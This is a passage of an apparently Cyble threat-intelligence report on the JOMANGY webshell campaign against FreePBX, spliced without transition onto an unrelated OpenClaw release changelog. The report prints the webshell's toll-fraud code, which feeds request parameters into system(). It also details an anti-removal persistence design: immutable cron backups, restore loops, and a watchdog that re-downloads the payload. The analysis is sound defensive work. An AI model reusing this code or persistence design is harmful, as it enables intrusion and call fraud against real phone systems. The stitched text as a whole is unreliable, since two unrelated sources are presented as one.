Channel 3: Self-healing crontab backup system. Stage 1 writes the active crontab to eight hidden paths using directory names that mimic legitimate system directories. Each file is immediately flagged immutable with chattr +i, so that rm -rf executed even by root silently fails without error. Two separate cron restore entries, then protect these backups.

The first (B64_HEAL, line 357) fires at a random minute every hour and decodes to: for b in <all 8 paths>; do [ -s "$b" ] && crontab "$b" && break; done.

The second (line 359) fires every minute with an inline condensed version, iterating five of the eight paths.

A defender who removes only the B64_HEAL entry leaves the per-minute restore entry active.

A defender who removes both restore entries but misses the immutable flag on even one backup file finds the crontab reinstalled within an hour when the next dropper execution re-installs the restore entries.

Leaving any single channel intact causes full infection to re-establish within minutes. (See Figure 20)

Channel 4: Process watchdog. Stage 1 installs a cron entry running pgrep -x zen2 || bash <download_path> and pgrep -x devnull2 || bash <download_path>. If either the primary beacon binary (zen2) or the secondary variant (devnull2) is absent from the process table, the watchdog re-downloads and re-executes k.php. Killing the beacon process without simultaneously removing the watchdog cron entry results in an immediate respawn.

Channel 5: PHP webshells with immutability. Stage 2 writes JOMANGY to over twelve paths while Stage 3 adds more. wr.php drops ZenharR directly into digium_phones/ajax.php and admin/views/some.php, then bulk-copies the existing JOMANGY shell to 15 additional paths via a cp loop. Primary copies carry chattr +i, so rm -rf issued as root returns without removing the file.

Each deployed instance is also a dropper in its own right, where a single authenticated HTTP request to any surviving shell triggers a full cron reinstall, credential rotation, and re-execution of all stages. If a defender misses one path during cleanup, the operator rebuilds the entire infection stack from a browser.

Channel 6: freepbx_ha/license.php. The PHP executor, triggered via the FreePBX HA hook mechanism, includes its own independent cron reinstallation logic for both k.php and wr.php download tracks. As long as this file exists on disk and the FreePBX HA module is installed, the operator can invoke it to rebuild the entire persistence stack from scratch. (See Figure 21)

Implant and Backdoor Analysis

JOMANGY has no prior public documentation. This analysis is its first description. Every deployed instance carries the watermark /* trace_e1ebf9066a951be519a24140711839ea */, which makes hunting straightforward: any PHP file under the FreePBX web root containing that string is a campaign artifact. An earlier variant (SHA256 039d648b, VT first seen 2026-04-07) had a different auth hash (bfcedbc1831779921a0ee2cfaee004f2) and embedded operator IP 146[.]70[.]129[.]114 (AS9009 M247 Europe SRL). The operator rotated both webshell credentials and VPN provider between that early variant and the live campaign deployment, moving from M247 to Datapacket-hosted infrastructure somewhere in between. Below is the JOMANGY operator panel. (See Figure 22)

ZenharR was documented by Unit 42 in 2022 against the same actor lineage. This is tool reuse rather than a new family. The wr.php and wor.php instances have distinct auth hashes and embedded IPs per deployment (a2f6863.../169[.]150[.]218[.]37 and b92c65af.../169[.]150[.]218[.]33).

SANS ISC diary #32892 observed a third hash (cf710203400b8c466e6dfcafcf36a411) at /admin/modules/phones/ajax.php, a third deployed variant that was not in the collected artifact set. All instances use single-layer base64 + eval obfuscation and authenticate via md5($_REQUEST['md5']) == '<hash>'; the C2's ___ask.php and ___md5.php both serve the same live token (ec4ca4db5ec0b782e51224fa7082ac06), which enables the operator to rotate webshell credentials across all victims simultaneously by updating a single file.

Post-authentication, both webshell families expose the same capabilities. The VoIP fraud module is present in all instances:

if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/'
        . $_REQUEST['prs'] . $_REQUEST['num']
        . '@' . $_REQUEST['context']
        . ' application wait '
        . $_REQUEST['time'] . '"');
}
 

Four parameters from the browser: prs (prefix/country code), num (destination), context (Asterisk dialplan context), and time (call duration). The webshell runs asterisk -rx locally. Victim's trunks, victim's bill.

The same channel-originating interface was documented in the 2022 ZenharR samples (Unit 42) and in the January 2026 VictamPbx webshells.

The remaining capabilities are consistent across all three instances: $_REQUEST['cmd'] -> system() for arbitrary OS commands; Elastix SQLite ACL database theft (/var/www/db/acl.db); and FreePBX admin session hijack via ampuser setAdmin().

Command and Control

The C2 at 45[.]95[.]147[.]178 (AS49870 Alsycon B.V., Netherlands) hosts the /z/ directory, the operator's backend, four static text files with no panel, no framework, and no staging server visible from the recovered artifacts. ___ip.php serves a single IP address (169[.]150[.]218[.]33) that matches the operator VPN IP embedded in wor.php's ZenharR authentication form; PTR resolution returns a Datapacket hostname (AS212238), consistent with dedicated operator-controlled infrastructure, though the file's exact role on the C2 is not confirmed from the artifact alone.

 ___ask.php and ___md5.php both serve the same 32-byte string (ec4ca4db5ec0b782e51224fa7082ac06).

The most consistent read is that deployed webshells poll one of these endpoints to stay synchronized on the valid auth hash — a single file update on the C2 rotates credentials across every victim simultaneously.

___zen.php (a8b65af6c142736ccf80420e44df240f) is assessed as a ZenharR payload integrity reference; no mechanism confirming that function was identified in the recovered chain. (See Figure 23)

The scanner 160[.]119[.]76[.]250 sits in the same AS49870 allocation as the primary C2 and was independently named by SANS ISC diary #32892 as the probe origin for this campaign.

Competitor Eviction and Ecosystem Dynamics

Stage 1 evicts two distinct sets of tooling. The first is the operator's own prior-campaign artifacts; the January 2026 encystPHP infrastructure was cleared from every host being migrated to the new Dutch infrastructure.

The second is the standard competitor cleanup: roughly 50 webshell families deleted across the web tree and 11 external C2 IPs blocked bidirectionally, keeping the same pool of compromised FreePBX systems clear of actors who have been co-resident on them since at least 2020.

The self-eviction evidence is unambiguous. The prior campaign dropper (71d94479, January 2026, C2 45[.]234[.]176[.]202) deployed a webshell named "VictamPbx" with button markup name="VictamPbx" and embedded the unique marker string bm2cjjnRXac1WW3KT7k6MKTR in its own competitor eviction grep list.

Both strings appear verbatim in the current Stage 1 dropper's eviction routine, causing the current campaign to search for and delete files from the prior campaign's own webshell family.

The prior C2 IP 45[.]234[.]176[.]202 appears on the current campaign's iptables block list, blocking any still-running prior-campaign beacon from reaching its origin server.

The prior campaign's download artifacts (devnull24, devnull23, devnull2) are explicitly deleted while every compromised host is moved from the January 2026 Brazilian infrastructure to the April 2026 Dutch infrastructure (every trace of the prior generation is carried over). (See Figure 24)

The third-party cleanup spans roughly 50 webshell signatures: b374k, t3rr0r, Hacked, New-Pbx, FaTaLisTiCz_Fx, b3d0r, yokyok, watchTowr, nahda, bluej, Black Ban V1.01, and others. b3d0r and yokyok have appeared in INJ3CTOR3 eviction lists since 2020.

The same actors have been sharing these compromised hosts with INJ3CTOR3 for at least 6 years, only to be evicted with each new campaign generation.

The watchTowr entry is worth noting separately (the same research group whose CVE-2025-57819 PoC artifacts get evicted from disk) is also the source of the vulnerability most consistent with this campaign's initial access method.

The iptables blocking goes in both directions — INPUT -s <C2> DROP stops competitor servers from delivering payloads or issuing commands; OUTPUT -d <C2> DROP stops the host from calling back, even if a competitor webshell survives the filesystem eviction.

The seven competitor IPs replaced in the FreePBX and Asterisk config files are the same C2 hijacking the 2022 generation. Wherever prior malware had pointed FreePBX to a competitor’s IP address, this campaign overwrites it with its own IP address, diverting any residual callbacks.

Conclusion

JOMANGY is documented as a previously undocumented PHP webshell family, deployed with double-layer obfuscation, that outperforms every prior generation of INJ3CTOR3 tooling. k.php and wr.php arrived at near-zero AV coverage, and the operator is actively rotating k.php to sustain that gap.

What distinguishes this generation is not the count of persistence channels but the engineering logic connecting them. Each of the six channels can rebuild every other channel. Immutable crontab backups silently block root-level deletion. Every deployed webshell doubles as a complete dropper.

The architecture is designed to prevent sequential remediation from succeeding. Clearing five of six channels hands the infection a recovery window measured in minutes. A confirmed infection warrants a full rebuild from a clean baseline.

The self-eviction of prior campaign artifacts is as analytically significant as the new tooling. Hunting down VictamPbx artifacts, cutting off the old C2, and rotating passwords on dormant accounts all point to an intentional botnet migration rather than an incidental cleanup.

Six years of continuous operation, each generation cleanly evicting the last, reflects the discipline that keeps this campaign running through repeated public disclosure.

Both candidate CVEs are patched in current FreePBX releases, but the 700+ hosts Shadowserver tracked as still compromised five months after the CVE-2025-64328 disclosure suggest that patching alone does not equal remediation.

On an already-owned host, patching closes the entry point but leaves the cron infrastructure intact, allowing the infection to re-establish itself before the patch can take effect.

The C2 at 45[.]95[.]147[.]178 remains active. Cyble Research & Intelligence Labs continues to monitor the evolution of INJ3CTOR3's infrastructure and toolset.

The post JOMANGY: INJ3CTOR3’s Self-Healing FreePBX Toll Fraud Campaign appeared first on Cyble.

Changes

• Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.
• Dependencies: update @openclaw/proxyline to 0.3.3.
• Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to 22.19.
• Docker/Podman: add OPENCLAW_IMAGE_APT_PACKAGES as the runtime-neutral image build arg for extra apt packages while keeping OPENCLAW_DOCKER_APT_PACKAGES as a legacy fallback. (#62431) Thanks @urtabajev.
• Gateway/ACPX: attribute startup probe, config, runtime, and resource-count costs in restart traces without changing readiness behavior. (#83300) Thanks @samzong.
• Gateway: overlap startup logging and plugin-service startup with channel sidecars to reduce restart ready latency while preserving /readyz sidecar gating. (#83301) Thanks @samzong.
• Plugins/admin-http-rpc: allow trusted admin HTTP RPC clients to start and wait for web QR login flows. (#83259) Thanks @liorb-mountapps.
• Mac app: redesign Settings pages with consistent card layouts, cached navigation, cleaner permissions/voice/skills/cron/exec/debug panes, and steadier spacing around the native sidebar.
• Skills: rename the repo-local Codex closeout review skill and helper to autoreview while preserving the Codex-first fallback behavior.
• Skills: add a meme-maker skill for curated template search, local SVG/PNG rendering, Imgflip hosted rendering, and Know Your Meme provenance links.
• Skills CLI: allow openclaw skills install and openclaw skills update to target shared managed skills with --global. (#74466) Thanks @Marvae.
• Browser: surface pending and recently handled modal dialogs in snapshots, return blockedByDialog when an action opens a modal, and allow browser dialog --dialog-id to answer pending dialogs.
• Browser CLI: add openclaw browser evaluate --timeout-ms so long-running page functions can extend both the evaluate action and request timeout budgets. (#83447) Thanks @eefreenyc.
• Codex app-server: scope OpenClaw prompt guidance by runtime surface so native Codex keeps Codex-owned base/personality instructions while OpenClaw contributes only runtime context, delivery guidance, and explicitly scoped command hints. (#83454) Thanks @100yenadmin.
• Agents/tools: shorten built-in tool descriptions and schema hints across media, messaging, sessions, cron, Gateway, web, image/PDF, TTS, nodes, and plan tools while preserving routing guardrails.
• Skills: add node inspector debugging, fused diagram generation, and throwaway spike workflow skills.
• CLI/plugins: add defineToolPlugin plus openclaw plugins build, validate, and init for typed simple tool plugins with generated manifest metadata, optional tool declarations, and context factories.
• Agents/skills: tighten bundled skill prompts and metadata, quote skill descriptions, refresh current CLI/API guidance, and update embedded sherpa-onnx runtime downloads.
• Skills: update the Obsidian skill to target the official obsidian CLI and require its registered binary instead of the third-party obsidian-cli.
• Skills: add a Python debugging skill for pdb, breakpoint(), post-mortem inspection, and debugpy remote attach.
• Plugins/messages: add presentation capability limits for channel renderers, adapt rich message controls before native rendering, and mark legacy interactive/Slack directive producer APIs as deprecated.
• Plugins/subagents: store channel delivery routes as canonical session metadata and deprecate ad hoc subagent hook delivery-origin fields in favor of core route projection.
• Proxy: support HTTPS managed forward-proxy endpoints and scoped proxy.tls.caFile CA trust for proxy endpoint TLS. (#79171) Thanks @jesse-merhi.
• QA-Lab: add first-hour 20-turn and optional 100-turn runtime parity scenarios, with tier metadata for standard and soak QA gates. Fixes #80338; refs #80337. Thanks @100yenadmin.
• QA-Lab: add openclaw qa suite --runtime-parity-tier and wire the standard Codex-vs-Pi tier into release checks separately from optional/live-only/soak lanes. Fixes #80337. Thanks @100yenadmin.
• QA-Lab: add a live-only Codex Pi-shaped Read vocabulary canary so runtime parity catches native workspace-read prompt compatibility drift. (#80323) Thanks @100yenadmin.
• QA-Lab: add live-only harness self-health scenarios for plugin hook crashes, manifest contract errors, and WebChat direct-reply self-message routing. (#80323) Thanks @100yenadmin.
• QA-Lab: add runtime tool fixture scenarios and coverage reporting for Codex-native workspace tools, OpenClaw dynamic tools, and optional plugin-backed tools. Fixes #80173. Thanks @100yenadmin.
• QA-Lab: expose runtime tool fixture coverage through openclaw qa coverage --tools, with optional suite-summary evaluation for parity gate artifacts. Thanks @100yenadmin.
• QA-Lab: schedule a live-frontier Codex-vs-Pi runtime token-efficiency artifact lane in the all-lanes QA workflow. Fixes #80175. Thanks @100yenadmin.
• QA-Lab: hard-gate required OpenClaw dynamic runtime-tool drift in the standard Codex-vs-Pi tier with a blocking release-check verifier and publish the tool coverage report artifact. Fixes #80339; refs #80319. Thanks @100yenadmin.
• QA-Lab: add the personal-agent approval-denial scenario so the benchmark pack verifies denied local reads stop cleanly without tool progress or fixture leaks. (#83150) Thanks @iFiras-Max1.
• QA-Lab: extend the personal-agent benchmark pack with a local task followthrough scenario for proof-backed pending, blocked, and done status reporting. Thanks @iFiras-Max1.
• QA-Lab: add a report-only dreaming shadow-trial scenario so candidate memory promotion can be evaluated without mutating MEMORY.md. Thanks @iFiras-Max1.
• Gateway/performance: add pnpm test:restart:gateway benchmark tooling for repeated restart readiness, downtime, trace, and resource-slope evidence. (#83299) Thanks @samzong.
• Android: switch Talk Mode to realtime Gateway relay voice sessions with streaming mic input, realtime audio playback, tool-result bridging, and on-screen transcripts. (#83130) Thanks @sliekens.
• Gateway/config: expose config lookup reload metadata so tools can distinguish restart-required, hot-reloadable, and no-op fields before applying config edits. Fixes #81409. (#81612) Thanks @LLagoon3.
• Telegram: add allowlisted native DM draft previews for transient tool progress while keeping final answers on the normal persistent delivery path. (#83622) Thanks @akrimm702.
• QA-Lab: add a personal-agent share-safe diagnostics artifact scenario so support handoffs keep useful status while omitting raw personal content. Thanks @iFiras-Max1.

Fixes

• Memory/search: scan the JS-side fallback vector path (used when the sqlite-vec index is unavailable or has a mismatched dimension) in bounded rowid batches and yield to the event loop between batches so large chunk tables can no longer pin the Node.js main thread for multi-second windows. Also keeps the SQL prepared statement rooted in a local so node:sqlite cannot finalize it mid-scan under heap pressure. Fixes #81172. Thanks @dev23xyz-oss.
• CLI/update: bypass npm freshness filters consistently during managed package and plugin installs so freshly published release plugins remain installable. Thanks @jalehman.
• Agents/subagents: keep collect-mode announce queues batching unresolved-origin items with compatible same-route messages and resume collection after a true cross-channel drain when a later compatible batch remains. Fixes #83577.
• Providers/Anthropic: preserve native image input for current Claude model rows when stale local catalog data marks them text-only. (#83756) Thanks @TurboTheTurtle.
• Control UI: render live tool progress from session-scoped session.tool Gateway events so externally started runs show their tool cards in the active session. (#83734) Thanks @TurboTheTurtle.
• Outbound: resolve send-capable channel plugins from the active runtime registry when the pinned startup registry only has setup metadata. (#83733) Thanks @TurboTheTurtle.
• Browser: enforce current-tab URL allowlist checks for /act evaluate/batch actions and /highlight routes while leaving tab-management actions unblocked. (#78523)
• CI: require real-behavior-proof verdict markers to come from the ClawSweeper GitHub App before accepting exact-head proof. (#83692)
• Models: show the effective OpenAI/Codex auth profile in /models provider headers instead of falling back to the OpenAI env-key label. (#83697) Thanks @yu-xin-c.
• Browser: keep a profile cdpPort when its cdpUrl omits a port, while still letting explicitly written URL ports win. (#82166) Thanks @Marvae.
• Agents/image generation: allow distinct image_generate prompts to start separate session-backed background tasks while same-prompt retries still return the active task status. (#83614) Thanks @Elarwei001.
• Gateway/WebChat: honor configured channels.webchat.textChunkLimit and chunkMode overrides when chunking WebChat replies. (#83713)
• Control UI: stop the chat reading indicator from sticking after an assistant response finishes. (#83515) Thanks @njuboy11.
• Skills: reject empty or whitespace-only skill names and descriptions during quick validation. (#27061)
• Sessions: skip trailing custom transcript entries when checking tail assistant replies so embedded CLI gap-fill does not duplicate canonical assistant output. (#83635) Thanks @yaoyi1222.
• Memory Wiki: keep wiki_lint tool output path-safe by reporting vault-internal lint reports as relative paths in tool text and details while preserving absolute report paths for CLI/file callers. (#83439) Thanks @LLagoon3.
• Telegram: keep verbose tool progress visible without mirroring non-final progress into active session transcripts, preventing embedded provider replies from aborting mid-run. (#83631) Thanks @kurplunkin.
• Telegram: log successful outbound text and media deliveries with account, chat, message, operation, thread, reply, silent, and chunk metadata while keeping message bodies out of logs. Fixes #83196. (#83247) Thanks @jrwrest.
• Cron: link isolated scheduled task runs to their stable cron session so task status and cleanup can follow the backing agent run. (#83606) Thanks @jai.
• CLI: enforce the documented Node.js 22.19 runtime floor in the source launcher.
• Release stability: repair broad-gate regressions in requester-agent completion handoff, QA-Lab mock spawn attribution, Slack monitor test isolation, plugin uninstall peer fixtures, and Node-floor launcher contract coverage.
• Agents/replies: persist queued follow-up user messages and assistant error stubs only once across model-fallback retries, preventing repeated provider rejections from corrupted same-role session transcripts. Fixes #83404. (#83417) Thanks @yetval.
• Slack: persist delivered inbound message IDs and fail closed when same-channel thread replies lose their thread context, preventing delayed duplicate replies and accidental channel-root posts. Fixes #83521. Thanks @shannon0430.
• Codex app-server: complete OpenClaw dynamic tool diagnostics at the request boundary so successful, failed, timed out, aborted, and blocked tool calls do not leave active tool state behind. Fixes #83474. Thanks @rozmiarD.
• Gateway/config: keep config writes from failing on unrelated unresolved auth-profile SecretRefs while preserving live auth-profile runtime snapshots.
• Gateway/sessions: clear stored CLI provider resume bindings on non-subagent /reset so the next turn starts a fresh provider-side CLI conversation instead of resuming old context. (#83448) Thanks @jasonyliu.
• Doctor: preserve legacy whole-agent Claude CLI intent by moving matching Anthropic model selections to model-scoped runtime policy before removing stale runtime pins. Fixes #83491. Thanks @danielcrick.
• Discord/OpenAI: keep realtime Discord voice sessions hearing follow-up turns with OpenAI realtime and prebuffer assistant playback to avoid choppy starts. (#80505) Thanks @Solvely-Colin.
• LM Studio: resolve env-template API keys like ${LMSTUDIO_API_KEY} through the standard SecretInput path instead of sending the raw template as the bearer token, and preserve header-auth and discovery-key precedence when the template is unset. Fixes #80495. (#80568) Thanks @MonkeyLeeT.
• Discord/subagents: route the initial reply from thread-bound delegated sessions into the bound Discord thread instead of the parent channel. Fixes #83170. (#83172) Thanks @100menotu001.
• Gateway/sessions: rotate failed agent sessions when their transcript file is missing instead of wedging per-channel lanes. Fixes #83488. (#83553) Thanks @LLagoon3.
• Media: prevent image metadata probing from invoking external decoder delegates on unrecognized image bytes, and stop fallback chaining after real processing errors.
• Media: install Sharp with the root package and fall back to sips, Windows native imaging, ImageMagick, GraphicsMagick, or ffmpeg for image resizing/conversion when Sharp is unavailable. Fixes #83401. Thanks @scotthuang.
• Telegram: deliver generated media completions back into forum topics by preserving topic IDs across requester-agent handoff. (#83556) Thanks @fuller-stack-dev.
• Gateway: defer update-check startup until after readiness so package update checks no longer block sidecar-ready startup, while preserving update broadcasts and shutdown cleanup. (#83520) Thanks @samzong.
• Telegram: keep /btw and read-only status commands from aborting active runs, and avoid retaining raw update payloads in timed-out spool tombstones. Refs #83272.
• Agents: log strict-agentic execution contract diagnostics only when the planning-only retry path actually triggers.
• Agents: stop embedded session takeover and session write-lock errors from consuming model fallbacks while preserving provider fallback metadata. Fixes #83510. Thanks @luyao618.
• Agents/video: hide video_generate reference-audio parameters unless a registered video provider supports audio inputs.
• Plugins: fall back to npm for official ClawHub updates when artifact downloads are unavailable, including beta-to-default fallback and dry-run version reporting.
• Plugins/xAI: echo PKCE challenge fields during OAuth authorization-code token exchange for xAI token-endpoint compatibility. (#83499) Thanks @fuller-stack-dev.
• Codex app-server: hydrate current inbound image attachments before queued runs so Responses-backed agents receive Discord and other channel images as native vision input. Fixes #83466. Thanks @iannwu.
• Codex app-server: keep native code mode available without forcing code-mode-only so OpenClaw dynamic tool turns complete through the app-server tool bridge. Fixes #83109. Thanks @daswass.
• Release stability: recover stale session diagnostics and Codex OAuth fallback state so stuck runs and reused refresh tokens clear without blocking follow-up work. (#83503) Thanks @100yenadmin.
• Messages/TTS: apply TTS directives before message-tool sends reach core, gateway, or plugin delivery so opt-in message-tool rooms and proactive sends attach voice notes instead of leaking raw tags. Fixes #81598. Thanks @CG-Intelligence-Agent-Jack and @CoronovirusG10.
• Messages/Codex: keep Codex direct/source chats on message-tool visible delivery by default while documenting and testing messages.visibleReplies: "automatic" as the old-mode opt-out; channel wildcard model overrides now apply to direct chats before harness delivery defaults.
• Memory/QMD: keep archived session transcript hits visible after QMD export while preserving normal .md session ids that only resemble archive names. (#83518; fixes #83506) Thanks @tanshanshan.
• Codex app-server: preserve network access for sandboxed Codex code-mode turns when the OpenClaw sandbox allows outbound egress. Fixes #83347. Thanks @YusukeIt0.
• QA-Lab: keep the OTLP smoke decoder independent of removed OpenTelemetry generated-root internals.
• Messages: default group/channel visible replies to automatic final delivery again, keeping message_tool opt-in for ambient/shared rooms and tool-reliable models.
• CLI/TUI: force standalone /exit runs to terminate after runTui returns so onboarding-launched TUI children do not stay alive invisibly. (#83501) Thanks @fuller-stack-dev.
• Agents/code mode: honor per-agent code-mode config in schema, runtime catalog activation, and model payload filtering. Fixes #83388. Thanks @Kaspre.
• Agents/code mode: preserve agent, session, run, and channel context in before_tool_call hooks for top-level exec/wait dispatches. Fixes #83387.
• QQBot: shorten C2C typing indicators to a 10-second window renewed every 5 seconds, capped to keep a final passive-reply slot available. (#83469)
• Replies: keep final payload delivery after live preview updates so channels can finalize or send the completed answer instead of losing preview-only drafts. (#83468)
• Discord: deliver final replies in progress-mode preview streams instead of deduplicating the final visible message. (#83443) Thanks @compoodment.
• Providers/Xiaomi: replay MiMo Anthropic-compatible reasoning_content as provider-required thinking blocks even when OpenClaw thinking is disabled, fixing follow-up tool turns for mimo-v2-flash. Fixes #83407. Thanks @Xgenious7.
• Agents/exec approvals: forward approval-runtime credentials on agent-owned Gateway approval calls so approved async commands complete through the existing runtime path instead of stalling on unauthenticated follow-up calls. Thanks @IWhatsskill, @Patrick-Erichsen, and @jesse-merhi.
• Gateway/skills: preflight remote macOS skill-bin refreshes with a WebSocket connectivity check so stale node sessions skip quickly instead of logging slow system.which timeout warnings.
• CLI/config: keep broken discovered plugins that are not referenced by active config from failing openclaw config validate, while preserving fatal errors for explicitly configured plugin entries.
• GitHub Copilot: drop unsafe native Responses reasoning replay items with non-replayable IDs before dispatch, preventing affected Copilot sessions from failing with invalid_request_body. Fixes #83220. Thanks @galiniliev.
• Agents/Codex: fail closed when an explicitly requested Codex harness is not registered instead of silently trying configured model fallbacks. Fixes #83349. Thanks @r2-vibes.
• QA-Lab: make runtime tool coverage fail on missing required tool exercise instead of treating pass/pass parity envelope drift as missing coverage.
• Core/plugins: harden clawpatch-reported edge cases across gateway auth cleanup, Claude session id paths, plugin activation policy, apply-patch hunk handling, diagnostic redaction, and plugin metadata validation.
• UI: show reasoning choices as plain labels instead of leaking internal override wording in session and chat pickers.
• Mac app: avoid repeating the Configuration heading inside channel quick settings.
• Mac app: keep the Settings sidebar always visible and remove the redundant titlebar hide/show control.
• Mac app: normalize Settings pane content margins so pages share the same left and right rail.
• Mac app: prefer explicit private/Tailscale/LAN Gateway endpoints over SSH tunnels, preserve legacy loopback tunnel configs, persist transport choices, and show captured SSH stderr when tunneling really fails.
• Gateway/sessions: keep ACP/acpx and runtime child sessions visible in configured-only session lists when their owner or parent session belongs to a configured agent.
• Mac app: keep app-level menu commands and Dashboard failure states reachable when the remote Gateway is disconnected.
• Mac app: allow longer Gateway and Context errors to wrap in the menu instead of truncating the useful failure detail.
• Mac app: tighten remote Gateway fields in Settings so the Connection pane keeps readable labels and full action button text.
• Mac app: keep custom Settings card rows left-aligned and full-width so Discovery and status sections no longer appear centered or detached.
• Mac app: align Location permission controls to the same trailing column as the rest of Settings.
• Mac app: add Dashboard, Chat, Canvas, and Settings shortcuts to the Dock icon menu.
• Mac app: replace the Settings window's native split-view sidebar with an explicit layout so page content keeps its leading gutter when the sidebar is shown or hidden.
• Mac app: render channel quick config as aligned Settings rows and hide schema-only variants that cannot be edited safely from the quick pane.
• Gateway/webchat: hide internal runtime-context and other display: false transcript messages from Chat history and live message events. Fixes #83216. Thanks @EmpireCreator.
• CLI/help: keep gateway, doctor, status, and health help registration out of action/runtime imports so subcommand --help stays lightweight in constrained terminals. Fixes #83228. Thanks @dfguerrerom.
• Cron/Discord: keep explicit announce runs in message-tool-only source-reply mode so scheduled agent turns post once instead of also echoing through automatic visible replies. Fixes #83261. Thanks @Theralley.
• Telegram: preserve forum-topic origin targets in inbound, audio-preflight, and skipped-message hook contexts so follow-up delivery stays bound to the originating topic. Fixes #83302. Thanks @M00zyx.
• Telegram: retry HTTP 421 Misdirected Request send failures on a fresh fallback transport so transient edge-node routing errors no longer drop outbound replies. Fixes #48892. (#48908) Thanks @MarsDoge.
• Telegram: fail topic sends closed when Telegram reports message thread not found instead of retrying without message_thread_id into the base chat. Refs #83302.
• Config/subagents: remove ignored agent-model timeoutMs keys, keep subagent model config to primary/fallback selection, and clean shipped stale config through doctor. Fixes #83291. Thanks @giodl73-repo.
• Mac app: align the Sessions settings pane with the standard Settings page gutter and row spacing.
• OpenAI/Codex: stop rejecting available openai-codex GPT-5.1, GPT-5.2, and GPT-5.3 model refs during config validation, while keeping removed Spark aliases suppressed. Fixes #83303.
• Plugins/xAI: complete OAuth-backed xAI login and sidecar auth fixes, including guarded loopback callback CORS handling, video generation polling/defaults, and native-host User-Agent attribution. (#83322) Thanks @Jaaneek.
• Codex app-server: preserve streamed native command output in mirrored transcripts and trajectory exports when final snapshots omit aggregated output. (#83200) Thanks @rozmiarD.
• Codex app-server: fail closed when chat or sender policy denies tools, disabling native code, app, environment, and user MCP surfaces for restricted turns. (#82374) Thanks @VACInc.
• Codex app-server: keep recent context-engine messages when oversized projected history is truncated, so short follow-ups in long channel sessions do not fall back to stale earlier turns. (#83127) Thanks @VACInc.
• Codex app-server: keep OpenClaw session spawning searchable while steering Codex-native delegation through native subagents, avoiding duplicate direct subagent surfaces. (#83329) Thanks @fuller-stack-dev.
• Codex app-server: recover stale childless Codex-native subagent task mirrors during maintenance and allow their registry rows to be cancelled without an OpenClaw child session. (#82836) Thanks @yshimadahrs-ship-it and @joshavant.
• Feishu: return bound subagent delivery origins from session thread setup so Feishu subagent completions route back to the same DM or topic. (#83190) Thanks @100menotu001.
• CLI/update: tailor post-update Gateway recovery hints by platform, showing systemd, LaunchAgent, Scheduled Task, or generic service-manager guidance instead of macOS-only recovery text. (#83096) Thanks @rubencu.
• Plugins: apply a default 15-second timeout to legacy before_agent_start hooks so hung plugin handlers no longer block agent startup. Fixes #48534. (#83136) Thanks @therahul-yo.
• Feishu: refresh inbound session delivery context for DM, group, and broadcast turns so later replies do not inherit stale WebChat routing. Fixes #78274.
• Agents/subagents: require the initial subagent registry save before reporting spawn accepted, returning a spawn error instead of losing an untracked run when the registry write fails. (#83146) Thanks @yetval.
• QA-Lab/qa-channel: attach redacted agent tool-start traces to outbound QaBusMessage records so scenarios can assert actual tool use instead of relying only on reply text. Fixes #67637. Thanks @100yenadmin.
• QA-Lab: fail live runtime parity reports when assistant-message usage is missing, preventing 0 vs 0 live token rows from being reported as passing proof. Fixes #80411. Thanks @100yenadmin.
• QA-Lab: add a runtime token-efficiency sidecar report that classifies Codex savings separately from regressions and fails only positive Codex-over-Pi live token deltas above threshold. Fixes #81093. Thanks @100yenadmin.
• QA-Lab: fail Codex-backed OpenAI live runtime-pair runs before launching isolated workers when no portable Codex auth is available, while staging API-key fallbacks and configured Codex keys for isolated QA agents. Fixes #80412. Thanks @100yenadmin.
• QA-Lab: refresh parity gates, mock frontier fixtures, model scenarios, and workflow artifact lanes to compare GPT-5.5 against Claude Opus 4.7. Fixes #74262. Thanks @100yenadmin.
• QA-Lab: make mock parity dispatch provider-aware for source discovery and subagent scenarios so OpenAI and Anthropic lanes no longer share identical canned plans. Fixes #64879. Thanks @100yenadmin.
• QA-Lab: stop returning Control UI bearer tokens from unauthenticated bootstrap payloads and bind Docker harness ports to loopback-only host addresses. (#66355) Thanks @pgondhi987.
• Mac app: avoid a SwiftUI metadata crash when rendering the Cron Jobs settings pane.
• Agents/subagents: preserve run-mode keep subagent registry entries past the session sweep TTL, so kept subagent runs remain visible after cleanup completes. Fixes #83132. (#83168) Thanks @yetval.
• Agents/OpenAI streams: yield via setTimeout(0) instead of setImmediate between bursty Responses chunks so abort timers can fire during the yield, keeping cancel-on-timeout responsive on hot streams. Refs #82462.
• Agents/Codex: keep legacy oauthRef-backed OAuth profiles usable while openclaw doctor --fix migrates them back to inline credentials, without creating new sidecar credentials. (#83312) Thanks @joshavant.
• Agents/Codex: load the selected provider owner alongside the Codex harness runtime so openai-codex models resolve when plugin allowlists scope runtime loading. Fixes #83380. (#83519) Thanks @joshavant.
• Telegram: fail stalled isolated-ingress handlers into tombstones and abort same-lane reply work before restarting, so later same-chat updates drain after a hung turn. Fixes #83272. (#83505) Thanks @joshavant.
• CLI/config: send SecretRef diagnostics to stderr so JSON command stdout remains parseable.
• CLI/doctor: seed Control UI allowed origins when migrating legacy non-loopback gateway bind host aliases like 0.0.0.0. Fixes #83286. Thanks @giodl73-repo.
• CLI/plugins: ship the bundled memory CLI as a package entry so package-installed openclaw memory commands register correctly.
• CLI/update: defer doctor-time plugin package installs during package swaps and seed post-core repair from the updated install registry, preventing duplicate reinstall failures.
• CLI/update: preserve old-parent-readable config metadata during legacy package handoffs, fall back only to official @openclaw/* npm plugin packages when ClawHub plugin artifacts are unavailable, and keep managed service package roots authoritative during updates.
• Feishu: detect SecretRef top-level credentials as a configured default account instead of treating object-backed app secrets as missing.
• Gateway/restart: keep ordinary unmanaged SIGUSR1/config restarts in-process instead of detach-spawning an orphaned child, preserving custom supervisor PID tracking while leaving update restarts on the fresh-process path. Fixes #65668.
• CLI/completion: resolve concrete PowerShell profile paths and reload commands during setup and doctor completion installation. Fixes #44296. (#83059) Thanks @yu-xin-c.
• Telegram: keep isolated long polling below the hard getUpdates request guard so idle bot accounts with high timeoutSeconds do not false-disconnect and restart-loop. Fixes #83264. Thanks @riccodecarvalho.
• Providers/Google: preserve and recover Gemini 3 tool-call thought signatures during native replay so function-calling turns no longer fail with missing thought_signature 400s. Fixes #72879. (#80358) Thanks @abnershang.
• Telegram: skip transcript-only delivery mirrors and gateway-injected rows when resolving latest assistant text, preventing retained previews from replacing final replies with stale fragments. Fixes #83159. (#83362) Thanks @joshavant.
